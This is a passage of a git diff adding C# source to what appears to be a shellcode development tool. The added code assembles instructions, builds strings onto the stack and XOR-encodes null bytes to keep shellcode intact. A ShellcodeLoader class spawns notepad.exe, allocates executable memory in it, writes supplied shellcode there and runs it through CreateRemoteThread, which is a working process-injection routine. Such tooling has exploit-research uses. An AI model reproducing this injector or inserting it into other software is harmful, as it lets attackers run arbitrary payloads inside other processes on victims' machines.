registers.ecx; + else if (registers.edx != 0) prevRegisters.edx = registers.edx; + else if (registers.esi != 0) prevRegisters.esi = registers.esi; + else if (registers.edi != 0) prevRegisters.edi = registers.edi; + else if (registers.ebp != 0) prevRegisters.ebp = registers.ebp; + + + prevRegisters.eip = registers.eip; + prevRegisters.esp = registers.esp; + + switch (reg) + { + case "eax": + prevRegisters.eax = 0; + break; + case "ebx": + prevRegisters.ebx = 0; + break; + case "ecx": + prevRegisters.ecx = 0; + break; + case "edx": + prevRegisters.edx = 0; + break; + case "edi": + prevRegisters.edi = 0; + break; + case "esi": + prevRegisters.esi = 0; + break; + case "ebp": + prevRegisters.ebp = 0; + break; + + default: + break; + } + + return prevRegisters; + } + + public unsafe void SetRegisters(string instruction, API.PROCESS_INFORMATION pi) + { + IntPtr pointer = API.GetRegisters(instruction, &pi); + API.Registers registers = Marshal.PtrToStructure(pointer); + + MainWindow.registers = Configure(registers, MainWindow.registers, instruction); + + AppendRegisters(MainWindow.registers); + AppendIndexes(MainWindow.registers); + AppendPointers(MainWindow.registers); + } + #endregion + } + + public class ShellcodeLoader + { + public ShellcodeLoader(byte[] shellcode) + { + int pid = Process.Start("notepad.exe").Id; + IntPtr pHandle = API.OpenProcess(0x1F0FFF, false, pid); + + IntPtr memAlloc = API.VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, 0x00001000, 0x40); + + UIntPtr bytesWritten; + API.WriteProcessMemory(pHandle, memAlloc, shellcode, (uint)shellcode.Length, out bytesWritten); + + API.CreateRemoteThread(pHandle, IntPtr.Zero, 0, memAlloc, IntPtr.Zero, 0, IntPtr.Zero); + } + } +} \ No newline at end of file diff --git a/Shellcodevv/Core/Instruction.cs b/Shellcodevv/Core/Instruction.cs new file mode 100644 index 0000000..2aa489f --- /dev/null +++ b/Shellcodevv/Core/Instruction.cs @@ -0,0 +1,147 @@ +using Shellcodev; +using Shellcodev.Core; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace Shellcodevv.Core +{ + public class InstructionConverter + { + private string EncodeValues(string instructionPart, bool small) + { + byte[] bytes = Encoding.Default.GetBytes(instructionPart); + var hexString = BitConverter.ToString(bytes); + string[] splited = hexString.Split('-'); + + List result = new List(); + for (int i = splited.Length - 1; i >= 0; i--) + result.Add(splited[i]); + + string temp = null; + foreach (string str in result) + temp += str; + + //Testing if push contains nullbytes + AssemblyHandler handler = new AssemblyHandler(); + string test = handler.Assembler("push 0x" + temp); + string temp1 = null; + for (int i = 0; i < test.Length; i++) + { + if (temp1 != null && temp1.Length % 2 == 0) + { + if (temp1 == "00") + { + int value = Convert.ToInt32("0x" + temp, 16); + int key = Convert.ToInt32("0x11111111", 16); + + int res = value ^ key; + string hexResult = res.ToString("X"); + + return "xor" + "0x" + hexResult; + } + else + temp1 = null; + } + temp1 += test[i]; + } + + return "0x" + temp; + } + + public string[] StringAssembler(string instruction) + { + AssemblyHandler handler = new AssemblyHandler(); + List list = new List(); + double partSize = 4; + int k = 0; + + // Extracting string from double quotes + var stringArray = instruction.Split('"'); + + // Splitting string + var output = stringArray[1] + .ToLookup(c => Math.Floor(k++ / partSize)) + .Select(e => new String(e.ToArray())); + + List result = new List(); + foreach (string str in output) + { + if (str.Length < 4) + result.Add(EncodeValues(str, true)); + else + result.Add(EncodeValues(str, false)); + } + + return result.ToArray(); + } + } + + public class Instruction + { + public string register; + private static int rowId = 1; + + public Instruction(string instruction) + { + var converter = new InstructionConverter(); + var instructions = new Instructions(); + var handler = new AssemblyHandler(); + var parser = new Snippet(); + var main = MainWindow.ReturnInstance(); + + string[] bytes = null; + string tempBytes = null; + + // Extract register from command + try + { + this.register = instruction.Substring(3, 4); + } + catch (Exception) + { return; } + + // Check if instruction contains double quotes and if yes execute StringAssembler + // This function is used to automate process of string appendance into the shellcode. + // Features: Stack is built vice versa. Strings are splitted to 4 chars each and encoded with little endian. + // Strings that contain nullbytes are xored to avoid shellcode from termination + if (instruction.Contains("\"")) + { + bytes = converter.StringAssembler(instruction); + parser.SnippetParser(main, register, bytes); + parser.SnippetAppender(main, register, bytes); + } + else if (instruction.Contains(".")) + { + string[] split = instruction.Split('.'); + if (split.Length < 3) + return; + + string hex = parser.GetAddress(split[1], split[2]); + instructions.instruction = split[0] + hex; + //int rows = main.instructionGrid.Rows.Add(rowId); + + //DataGridViewRow row = main.instructionGrid.Rows[rows]; + //row.Cells["Instruction"].Value = split[0] + hex; + + //main.instructionGrid.Items.Add = instruction; + main.instructionGrid.Items.Add(instructions); + + tempBytes = handler.Assembler(split[0] + hex); + main.ByteAppender(tempBytes); + } + else + { + //int rows = main.instructionGrid.Rows.Add(rowId); + + //DataGridViewRow row = main.instructionGrid.Rows[rows]; + //row.Cells["Instruction"].Value = instruction; + + tempBytes = handler.Assembler(instruction); + main.ByteAppender(tempBytes); + } + } + } +} \ No newline at end of file diff --git a/Shellcodevv/Core/Snippet.cs b/Shellcodevv/Core/Snippet.cs new file mode 100644 index 0000000..2898dea --- /dev/null +++ b/Shellcodevv/Core/Snippet.cs @@ -0,0 +1,64 @@ +using Shellcodevv; +using System.Collections.Generic; + +namespace Shellcodev.Core +{ + class Snippet + { + public string GetAddress(string dll, string function) + { + var lib = API.LoadLibrary(dll + ".dll"); + var procaddr = API.GetProcAddress(lib, function); + string hexValue = procaddr.ToString("X"); + + return "0x" + hexValue; + } + + public void SnippetParser(MainWindow main, string register, string[] bytes) + { + var items = new List(); + for (int i = bytes.Length - 1; i >= 0; i--) + { + if (bytes[i].StartsWith("xor")) + { + items.Add(new Instructions { instruction = "mov " + register + ", " + bytes[i].Substring(3) }); + main.instructionGrid.Items.Add(items); + + items.Add(new Instructions { instruction = "xor " + register + ", 0x11111111" }); + main.instructionGrid.Items.Add(items); + + items.Add(new Instructions { instruction = "push " + register }); + main.instructionGrid.Items.Add(items); + } + else + { + items.Add(new Instructions { instruction = "push " + bytes[i] }); + main.instructionGrid.Items.Add(items); + } + } + items.Add(new Instructions { instruction = "mov " + register + ", esp" }); + main.instructionGrid.Items.Add(items); + } + + public void SnippetAppender(MainWindow instance, string register, string[] bytes) + { + var handler = new AssemblyHandler(); + + for (int i = bytes.Length - 1; i >= 0; i--) + { + if (bytes[i].StartsWith("xor")) + { + instance.ByteAppender(handler.Assembler("mov " + register + ", " + bytes[i].Substring(3))); + instance.ByteAppender(handler.Assembler("xor " + register + ", 0x11111111")); + instance.ByteAppender(handler.Assembler("push " + register)); + } + else + { + instance.ByteAppender(handler.Assembler("push " + bytes[i])); + } + } + + instance.ByteAppender(handler.Assembler("mov " + register + ", esp")); + } + } +} \ No newline at end of file diff --git a/Shellcodevv/GeneratorWindow.xaml b/Shellcodevv/GeneratorWindow.xaml new file mode 100644 index 0000000..1f696ca --- /dev/null +++ b/Shellcodevv/GeneratorWindow.xaml @@ -0,0 +1,72 @@ + + + + #2b2b2b + + + + + + + + +